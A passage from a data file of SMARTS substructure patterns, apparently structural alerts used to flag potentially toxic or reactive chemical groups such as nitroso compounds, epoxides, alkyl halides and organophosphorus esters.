H3]),$([CH2][CH]([CH3])[CH2][CH3]),$([CH2][CH2][CH]([CH3])[CH3]),$([CH]([CH2][CH3])[CH2][CH3]),$([CH]([CH3])[CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH2][CH3]),$([CH2][CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH2]),$([CX4]1[CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4][CX4]1),$([CH2]c1ccccc1)]);!$([CX2]#[NX1])])),$(c1([OH])c([OX2][$([CH3]),$([CH2][CH3])])c([#1,#6,OH,$([OX2][$([CH3]),$([CH2][CH3]),$([CH2][CH2][CH3]),$([CH]([CH3])[CH3]),$([CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH3]),$([CH2][CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH2][CH3]),$([CH2][CH]([CH3])[CH2][CH3]),$([CH2][CH2][CH]([CH3])[CH3]),$([CH]([CH2][CH3])[CH2][CH3]),$([CH]([CH3])[CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH2][CH3]),$([CH2][CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH2]),$([CX4]1[CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4][CX4]1),$([CH2]c1ccccc1)]);!$([CX2]#[NX1])])c([#1,#6,OH,$([OX2][$([CH3]),$([CH2][CH3]),$([CH2][CH2][CH3]),$([CH]([CH3])[CH3]),$([CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH3]),$([CH2][CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH2][CH3]),$([CH2][CH]([CH3])[CH2][CH3]),$([CH2][CH2][CH]([CH3])[CH3]),$([CH]([CH2][CH3])[CH2][CH3]),$([CH]([CH3])[CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH2][CH3]),$([CH2][CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH2]),$([CX4]1[CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4][CX4]1),$([CH2]c1ccccc1)]);!$([CX2]#[NX1])])c([#1])c1([#1,#6,OH,$([OX2][$([CH3]),$([CH2][CH3]),$([CH2][CH2][CH3]),$([CH]([CH3])[CH3]),$([CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH3]),$([CH2][CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH2][CH3]),$([CH2][CH]([CH3])[CH2][CH3]),$([CH2][CH2][CH]([CH3])[CH3]),$([CH]([CH2][CH3])[CH2][CH3]),$([CH]([CH3])[CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH2][CH3]),$([CH2][CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH2]),$([CX4]1[CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4][CX4]1),$([CH2]c1ccccc1)]);!$([CX2]#[NX1])])),$(c1([OH1])c([#1])c([OX2][$([CH3]),$([CH2][CH3])])c([#1,#6,OH,$([OX2][$([CH3]),$([CH2][CH3]),$([CH2][CH2][CH3]),$([CH]([CH3])[CH3]),$([CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH3]),$([CH2][CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH2][CH3]),$([CH2][CH]([CH3])[CH2][CH3]),$([CH2][CH2][CH]([CH3])[CH3]),$([CH]([CH2][CH3])[CH2][CH3]),$([CH]([CH3])[CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH2][CH3]),$([CH2][CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH2]),$([CX4]1[CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4][CX4]1),$([CH2]c1ccccc1)]);!$([CX2]#[NX1])])c([#1,#6,OH,$([OX2][$([CH3]),$([CH2][CH3]),$([CH2][CH2][CH3]),$([CH]([CH3])[CH3]),$([CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH3]),$([CH2][CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH2][CH3]),$([CH2][CH]([CH3])[CH2][CH3]),$([CH2][CH2][CH]([CH3])[CH3]),$([CH]([CH2][CH3])[CH2][CH3]),$([CH]([CH3])[CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH2][CH3]),$([CH2][CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH2]),$([CX4]1[CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4][CX4]1),$([CH2]c1ccccc1)]);!$([CX2]#[NX1])])c1([#1,#6,OH,$([OX2][$([CH3]),$([CH2][CH3]),$([CH2][CH2][CH3]),$([CH]([CH3])[CH3]),$([CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH3]),$([CH2][CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH2][CH3]),$([CH2][CH]([CH3])[CH2][CH3]),$([CH2][CH2][CH]([CH3])[CH3]),$([CH]([CH2][CH3])[CH2][CH3]),$([CH]([CH3])[CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH2][CH3]),$([CH2][CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH2]),$([CX4]1[CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4][CX4]1),$([CH2]c1ccccc1)]);!$([CX2]#[NX1])])),$(c1([OH1])c([#1,#6,OH,$([OX2][$([CH3]),$([CH2][CH3]),$([CH2][CH2][CH3]),$([CH]([CH3])[CH3]),$([CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH3]),$([CH2][CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH2][CH3]),$([CH2][CH]([CH3])[CH2][CH3]),$([CH2][CH2][CH]([CH3])[CH3]),$([CH]([CH2][CH3])[CH2][CH3]),$([CH]([CH3])[CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH2][CH3]),$([CH2][CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH2]),$([CX4]1[CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4][CX4]1),$([CH2]c1ccccc1)]);!$([CX2]#[NX1])])c([OX2][$([CH3]),$([CH2][CH3])])c([#1])c([#1,#6,OH,$([OX2][$([CH3]),$([CH2][CH3]),$([CH2][CH2][CH3]),$([CH]([CH3])[CH3]),$([CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH3]),$([CH2][CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH2][CH3]),$([CH2][CH]([CH3])[CH2][CH3]),$([CH2][CH2][CH]([CH3])[CH3]),$([CH]([CH2][CH3])[CH2][CH3]),$([CH]([CH3])[CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH2][CH3]),$([CH2][CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH2]),$([CX4]1[CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4][CX4]1),$([CH2]c1ccccc1)]);!$([CX2]#[NX1])])c1([#1,#6,OH,$([OX2][$([CH3]),$([CH2][CH3]),$([CH2][CH2][CH3]),$([CH]([CH3])[CH3]),$([CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH3]),$([CH2][CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH2][CH3]),$([CH2][CH]([CH3])[CH2][CH3]),$([CH2][CH2][CH]([CH3])[CH3]),$([CH]([CH2][CH3])[CH2][CH3]),$([CH]([CH3])[CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH2][CH3]),$([CH2][CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH2]),$([CX4]1[CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4][CX4]1),$([CH2]c1ccccc1)]);!$([CX2]#[NX1])])),$(c1([OH1])c([#1,#6,OH,$([OX2][$([CH3]),$([CH2][CH3]),$([CH2][CH2][CH3]),$([CH]([CH3])[CH3]),$([CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH3]),$([CH2][CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH2][CH3]),$([CH2][CH]([CH3])[CH2][CH3]),$([CH2][CH2][CH]([CH3])[CH3]),$([CH]([CH2][CH3])[CH2][CH3]),$([CH]([CH3])[CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH2][CH3]),$([CH2][CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH2]),$([CX4]1[CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4][CX4]1),$([CH2]c1ccccc1)]);!$([CX2]#[NX1])])c([OX2][$([CH3]),$([CH2][CH3])])c([#1,#6,OH,$([OX2][$([CH3]),$([CH2][CH3]),$([CH2][CH2][CH3]),$([CH]([CH3])[CH3]),$([CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH3]),$([CH2][CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH2][CH3]),$([CH2][CH]([CH3])[CH2][CH3]),$([CH2][CH2][CH]([CH3])[CH3]),$([CH]([CH2][CH3])[CH2][CH3]),$([CH]([CH3])[CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH2][CH3]),$([CH2][CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH2]),$([CX4]1[CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4][CX4]1),$([CH2]c1ccccc1)]);!$([CX2]#[NX1])])c([#1,#6,OH,$([OX2][$([CH3]),$([CH2][CH3]),$([CH2][CH2][CH3]),$([CH]([CH3])[CH3]),$([CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH3]),$([CH2][CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH2][CH3]),$([CH2][CH]([CH3])[CH2][CH3]),$([CH2][CH2][CH]([CH3])[CH3]),$([CH]([CH2][CH3])[CH2][CH3]),$([CH]([CH3])[CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH2][CH3]),$([CH2][CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH2]),$([CX4]1[CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4][CX4]1),$([CH2]c1ccccc1)]);!$([CX2]#[NX1])])c1([#1])),$(c1([OH1])c([#1])c([#1,#6,OH,$([OX2][$([CH3]),$([CH2][CH3]),$([CH2][CH2][CH3]),$([CH]([CH3])[CH3]),$([CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH3]),$([CH2][CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH2][CH3]),$([CH2][CH]([CH3])[CH2][CH3]),$([CH2][CH2][CH]([CH3])[CH3]),$([CH]([CH2][CH3])[CH2][CH3]),$([CH]([CH3])[CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH2][CH3]),$([CH2][CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH2]),$([CX4]1[CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4][CX4]1),$([CH2]c1ccccc1)]);!$([CX2]#[NX1])])c([OX2][$([CH3]),$([CH2][CH3])])c([#1,#6,OH,$([OX2][$([CH3]),$([CH2][CH3]),$([CH2][CH2][CH3]),$([CH]([CH3])[CH3]),$([CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH3]),$([CH2][CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH2][CH3]),$([CH2][CH]([CH3])[CH2][CH3]),$([CH2][CH2][CH]([CH3])[CH3]),$([CH]([CH2][CH3])[CH2][CH3]),$([CH]([CH3])[CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH2][CH3]),$([CH2][CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH2]),$([CX4]1[CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4][CX4]1),$([CH2]c1ccccc1)]);!$([CX2]#[NX1])])c1([#1,#6,OH,$([OX2][$([CH3]),$([CH2][CH3]),$([CH2][CH2][CH3]),$([CH]([CH3])[CH3]),$([CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH3]),$([CH2][CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH2][CH3]),$([CH2][CH]([CH3])[CH2][CH3]),$([CH2][CH2][CH]([CH3])[CH3]),$([CH]([CH2][CH3])[CH2][CH3]),$([CH]([CH3])[CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH2][CH3]),$([CH2][CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH2]),$([CX4]1[CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4][CX4]1),$([CH2]c1ccccc1)]);!$([CX2]#[NX1])])),$(c1([OH1])c([#1,#6,OH,$([OX2][$([CH3]),$([CH2][CH3]),$([CH2][CH2][CH3]),$([CH]([CH3])[CH3]),$([CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH3]),$([CH2][CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH2][CH3]),$([CH2][CH]([CH3])[CH2][CH3]),$([CH2][CH2][CH]([CH3])[CH3]),$([CH]([CH2][CH3])[CH2][CH3]),$([CH]([CH3])[CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH2][CH3]),$([CH2][CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH2]),$([CX4]1[CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4][CX4]1),$([CH2]c1ccccc1)]);!$([CX2]#[NX1])])c([#1])c([OX2][$([CH3]),$([CH2][CH3])])c([#1,#6,OH,$([OX2][$([CH3]),$([CH2][CH3]),$([CH2][CH2][CH3]),$([CH]([CH3])[CH3]),$([CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH3]),$([CH2][CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH2][CH3]),$([CH2][CH]([CH3])[CH2][CH3]),$([CH2][CH2][CH]([CH3])[CH3]),$([CH]([CH2][CH3])[CH2][CH3]),$([CH]([CH3])[CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH2][CH3]),$([CH2][CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH2]),$([CX4]1[CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4][CX4]1),$([CH2]c1ccccc1)]);!$([CX2]#[NX1])])c1([#1,#6,OH,$([OX2][$([CH3]),$([CH2][CH3]),$([CH2][CH2][CH3]),$([CH]([CH3])[CH3]),$([CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH3]),$([CH2][CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH2][CH3]),$([CH2][CH]([CH3])[CH2][CH3]),$([CH2][CH2][CH]([CH3])[CH3]),$([CH]([CH2][CH3])[CH2][CH3]),$([CH]([CH3])[CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH2][CH3]),$([CH2][CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH2]),$([CX4]1[CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4][CX4]1),$([CH2]c1ccccc1)]);!$([CX2]#[NX1])]))]", "[O,N,S;!$(S~O)]!@[C;H1;X4]!@[O,N,S;!$(S~O)]", "[$(NN=O)]", "[$([NR1]1=[CR1][CR1][CR1][CR1]1),$([NR1]1[CR1]=[CR1][CR1][CR1]1),$([NR1]1[CR1][CR1]=[CR1][CR1]1)]", "[!#6!#1;R1]1~[*R1]~[*R1]~1", "[OH1]c1ccc([OX2][CX4])cc1", "[CX3H1](=O)[#6]", "[CH2,CH]=C1C(=[OX1,SX1])**C1", "[C!H0]([#1,#6,#7,#8,#16])[CX4]([#1,Cl,Br,I])([#1,Cl,Br,I])[Cl,Br,I]", "[$([O,S,#7;R1;r9,r10,r11,r12,r13,r14,r15,r16,r17,r18][CH,CH2;r9,r10,r11,r12,r13,r14,r15,r16,r17,r18][CH,CH2;r9,r10,r11,r12,r13,r14,r15,r16,r17,r18][O,S,#7;R1;r9,r10,r11,r12,r13,r14,r15,r16,r17,r18][CH,CH2;r9,r10,r11,r12,r13,r14,r15,r16,r17,r18][CH,CH2;r9,r10,r11,r12,r13,r14,r15,r16,r17,r18][O,S,#7;R1;r9,r10,r11,r12,r13,r14,r15,r16,r17,r18]),$([O,S,#7;R1;r9,r10,r11,r12,r13,r14,r15,r16,r17,r18][CH,CH2;r9,r10,r11,r12,r13,r14,r15,r16,r17,r18][CH,CH2;r9,r10,r11,r12,r13,r14,r15,r16,r17,r18][CH,CH2;r9,r10,r11,r12,r13,r14,r15,r16,r17,r18][O,S,#7;R1;r9,r10,r11,r12,r13,r14,r15,r16,r17,r18][CH,CH2;r9,r10,r11,r12,r13,r14,r15,r16,r17,r18][CH,CH2;r9,r10,r11,r12,r13,r14,r15,r16,r17,r18][CH,CH2;r9,r10,r11,r12,r13,r14,r15,r16,r17,r18][O,S,#7;R1;r9,r10,r11,r12,r13,r14,r15,r16,r17,r18]),$([O,S,#7;R1;r9,r10,r11,r12,r13,r14,r15,r16,r17,r18][CH,CH2;r9,r10,r11,r12,r13,r14,r15,r16,r17,r18][CH,CH2;r9,r10,r11,r12,r13,r14,r15,r16,r17,r18][O,S,#7;R1;r9,r10,r11,r12,r13,r14,r15,r16,r17,r18][CH,CH2;r9,r10,r11,r12,r13,r14,r15,r16,r17,r18][CH,CH2;r9,r10,r11,r12,r13,r14,r15,r16,r17,r18][CH,CH2;r9,r10,r11,r12,r13,r14,r15,r16,r17,r18][O,S,#7;R1;r9,r10,r11,r12,r13,r14,r15,r16,r17,r18])]", "[#6][O,SX2]P(=[O,SX1])([#6])[O,SX2][CH3,$([CH2](O)[#6]),$([CH](O)([#6])[#6])]", "[F,Br,Cl,I]-cn", "[F,Cl,Br,I][CX4][#16]", "NOT [!#1!#6!#7!#8!#16!F!Cl!Br] AND [#6][Sv6X4](=[OX1])(=[OX1])[OX2][#6]", "c([OH1])c[NX3]([#1,#6])[#1,#6]", "[#7,#8,#15,#16]=[#6]1-,:[#6]=,:[#6]-,:[#6](=[#7,#8,#15,#16])-,:[#6]=,:[#6]1", "[CX4][Cl,Br,I]", "c[OH1]", "[#6][Sv6X4](=[OX1])(=[OX1])[!#1!#6]", "c1c(F)c(F)c(F)c(F)c1(F)", "[$([OX1-][#7+]1=,:[#6,#7]-,:[#6,#7]=,:[#6,#7]-,:[#6,#7]=,:[#6,#7]1),$([OX1]=[#7v5]1=,:[#6,#7]-,:[#6,#7]=,:[#6,#7]-,:[#6,#7]=,:[#6,#7]1)]", "[#1,CX4][OX2][cR1]1[cR1]([OX2][#1,CX4])[cR1][cR1][cR1][cR1]1", "[CX4]([OX2])([OX2])([CX4,a])[CX4,a]", "[$(n1nnccc1),$(n1ncncc1),$(n1cncnc1)]", "[NX3]([#1,#6])([#1,#6])[NX2]=[CX3!H0]([#1,#6])", "[#15]=O", "c1c([OH1])c([OH1])ccc1", "[$([#6][OX2][Sv6X4](=[OX1])(=[OX1])[OX2][#6]),$([#6][Sv6X4](=[OX1])(=[OX1])[OX2][#6])]", "c1(cc(N)cc2)c2cccc1", "[OX1]=[Pv5X4]([#6])([OX2][#6])[!#6]", "NP(=[N,O,S])", "[#6!c][N!v3]=O", "[!$(C=C);!$(C#C)]C(=[O,SX1,N])[O,S,N][a]", "C[CX3](=[OX1])[CX4!H0]([H,CX4,Cl])[CX3](=[OX1])C", "[OH]c1c([CX4][#7])cccc1", "[OH]c1nc([OH])cc([CX4])n1", "[$(c1([#1,CX4!R])c([#1,CX4!R])[nX2]c([#1,CX4!R])[sX2]1),$(c1([#1,CX4!R])c([#1,CX4!R])[nX2]c([NX3]([#1,CX4!R])[#1,CX4!R])[sX2]1)]", "[NX3][CX4][CX4][Cl,Br,I]", "[#6][#6](=[!#1!#6!R])[#6](=[!#1!#6!R])[#6,$(S(=O)=O)]", "[CX2]#[CX2]", "[C;X4](-[OH,NH1,NH2,SH])(-C#N)", "[!$([C,S]=O)]N([!$([C,S]=O)])[CX4]N([!$([C,S]=O)])[!$([C,S]=O)]", "[CX4H1](C)([OX2]C)([OX2])", "[#6][Sv6X4](=[OX1])(=[OX1])N", "[#6&!$([CX3]=[OX1,SX1,NX2])][NX3H1][NX3H2,$([NX3H1][#6&!$([CX3]=[OX1,SX1,NX2])])]", "[NX4,NX4+]([#6])([#6])([#6])[#6]", "[#6]=[#6][Sv6X4](=[OX1])(=[OX1])", "[c][$([CH2]([c])[F,Cl,Br,I,$(C#N),$(OS(=O)(=O)O[#6]),$(OS(=O)(=O)[#6])]),$([CH]([a])([#6])[F,Cl,Br,I,$(C#N),$(OS(=O)(=O)O[#6]),$(OS(=O)(=O)[#6])])]", "c[CX4][F,Cl,Br,I]", "aBr", "[CX4H2!R][CH2][CH2][CX4H2!R][CH2]", "[$([!#6!#1]1=[!#6!#1]C-,=CC1),$([!#6!#1]1[!#6!#1]=CCC1),$([!#6!#1]1[!#6!#1]C=CC1),$([!#6!#1]1=C[!#6!#1]-,=CC1),$([!#6!#1]1C[!#6!#1]CC=1),$([!#6!#1]1C[!#6!#1]C=C1)]", "N#CC=[C!H0]", "C=C([F,Cl,Br,I])[F,Cl,Br,I]", "[#1,CX4][OX2][cR1]1[cR1][cR1][cR1]([OX2][#1,CX4])[cR1][cR1]1", "[$(c1([OH1])c([CX4]([#1,#6])[#1,#6])cccc1),$(c1([OH1])ccc([CX4]([#1,#6])[#1,#6])cc1)]", "[CH,$(C(=O)([CX4]C=O)[CX4]),$(C(=O)([CX4]C=O)c1a(*)aaaa1),$(C(=O)([CX4]C=O)c1a(*)aaa1)](=O)[CX4][CH,$(C(=O)([CX4]C=O)[#6]);!$(C(=O)([CX4]C=O)C=[CH2,CH]);!$(C(=O)([CX4]C=O)C#C)]=O", "[#6]C(=[OX1,SX1])[CX4]C(=[OX1,SX1])[#6]", "[C,c][C;H1](=O)", "[a][$([NX3;H1]),$([NX3][CH3]);!$([NX3]a(a-[!#1])a-[!#1]);!$([NX3]aa-C(=[OX1])[OH]);!$([NX3]aa-[Sv6X4](=[OX1])(=[OX1])[OH]);!$([NX3]aaa-[Sv6X4](=[OX1])(=[OX1])[OH]);!$([NX3]aaaa-[Sv6X4](=[OX1])(=[OX1])[OH])][CX3](=[OX1])([$([#1]),$([CH3])])", "[!#6!#1;R1]1~[#6&R1]~[#6&R1]~1", "[O,N,S;!$(S~O)]!@[C;H0;X4](!@[O,N,S;!$(S~O)])(C)", "[F,Cl,Br,I][CH2][CH2][NX3]", "[OR1]1[CR1][CR1][CR1][CR1][CR1]1", "[C!R]([Cl,Br,I])[Cl,Br,I]", "I", "[a][$([NH2]);!$([NH2]aa[$(C(F)(F)F),$(S(=O)(=O)[NX3]([#6,#1])[#6,#1]),$(S(=O)(=O)[OH]),$(S(=O)(=O)[a]),$(C(=[OX1])[OH1]),$(C(=[OX1])[OX2][#6])]);!$([NH2]aaa[$(C(F)(F)F),$(S(=O)(=O)[NX3]([#6,#1])[#6,#1]),$(S(=O)(=O)[OH]),$(S(=O)(=O)[a]),$(C(=[OX1])[OH]),$(C(=[OX1])[OX2][#6])]);!$([NH2]aaaa[$(C(F)(F)F),$(S(=O)(=O)[NX3]([#6,#1])[#6,#1]),$(S(=O)(=O)[OH]),$(S(=O)(=O)[a]),$(C(=[OX1])[OH]),$(C(=[OX1])[OX2][#6])])]", "[CX3R](=[OX1])[CX3R](=[OX1])", "[$([Cv4X4]([!#1!#6])([!#1!#6])([!#1!#6])[!#1!#6]),$([CX3](=[!#1!#6])([!#1!#6])[!#1!#6]),$([CX2](=[!#1!#6])=[!#1!#6]),$([CX2](#[!#1!#6])[!#1!#6])]", "[$([CX4]1[OX2][CX4]1),$([#6]1=[#6][#8]1)]", "C(=C)1SC(=S)NC(=O)1", "F.F.F.F.F.F.F[$([NX2]([a])=[NX2][a]);!$([NX2](aaS(=O)(=O)[OH])=[NX2]aaS(=O)(=O)[OH]);!$([NX2](aaS(=O)(=O)[OH])=[NX2]aaaS(=O)(=O)[OH]);!$([NX2](aaaS(=O)(=O)[OH])=[NX2]aaS(=O)(=O)[OH]);!$([NX2](aaS(=O)(=O)[OH])=[NX2]aaaaS(=O)(=O)[OH])!$([NX2](aaaaS(=O)(=O)[OH])=[NX2]aaS(=O)(=O)[OH]);!$([NX2](aaaS(=O)(=O)[OH])=[NX2]aaaS(=O)(=O)[OH]);!$([NX2](aaaS(=O)(=O)[OH])=[NX2]aaaaS(=O)(=O)[OH]);!$([NX2](aaaaS(=O)(=O)[OH])=[NX2]aaaS(=O)(=O)[OH]);!$([NX2](aaaaS(=O)(=O)[OH])=[NX2]aaaaS(=O)(=O)[OH])]", "[#6]-[$([NX2]=[NX2+]=[NX1-]),$([NX2]=[NX2+]=N)]", "[O-][N+]1=CC=CC=C1", "[a][$([NX3+](=[OX1])[O-]),$([NX3](=O)(=O))]", "[CX4]([F,Cl,Br,I])([F,Cl,Br,I])([F,Cl,Br,I]) AND NOT [CX4]([F,Cl,Br,I])([F,Cl,Br,I])([F,Cl,Br,I])([F,Cl,Br,I])", "[$([CH2]),$([CH][#6])]=[CH,$(C[#6])][$(c1ncccc1),$(c1ccncc1)]", "[#7][#8][C,S]=O", "C1(=C)C=N[!#1!#6]C1=[OX1]", "[!#6!#1]1~[#6]~[#6]~1", "C1=[O,SX2,NX2,CX3]CC(=[O,SX2])[O,SX2,NX3]1", "[CX3](=[OX1])[NX3H1][CX3](=[OX1])", "[$([C;H2]),$([C&H1;$(C-F)]),$([C&H1;$(C-Cl)]),$([C&H1;$(C-Br)]),$([C&H1;$(C-I)]),$(C(F)F),$(C(Cl)Cl),$(C(Br)Br),$(C(I)I),$(C(F)Cl),$(C(F)Br),$(C(F)I),$(C(Cl)Br),$(C(Br)I)](=[$([C&H1;$(C(-C(=O)))]),$(C(F)(C(=O))),$(C(Cl)(C(=O))),$(C(Br)(C(=O))),$(C(I)(C(=O))),$(C(C)(C(=O))),$(C(c)(C(=O)))])", "[SX2][SX2]", "[$([!#6!#1;R1]1~[!#6!#1;R1]~[#6R1]~[#6R1]~[#6R1]~1),$([!#6!#1;R1]1~[#6R1]~[!#6!#1;R1]~[#6R1]~[#6R1]~1)]", "[#6X3]1=,:[#6X3]-,:[#6X3](=[OX1])-,:[#6X3]=,:[#6X3]-,:[#6X3]1(=[OX1])", "c1cccc2c1oc(=O)c([$(C=[OX1]),$(C=[SX1]),$(S=[OX1]),$(C#[NX1]),F,Cl,Br,I,$([CX4]([F,Cl,Br,I])([F,Cl,Br,I])([F,Cl,Br,I]));!$([CX3](=[OX1])[OH1])])[c!H0]2", "C(=S)[O,S,N]", "C1OC1", "[#8R1]1-[#6R1]-[#6R1]-1", "[nX3]1cccc1C(=[OX1])[OH]", "c1cccc2c1nc(=[OX1])[c!H0]c2", 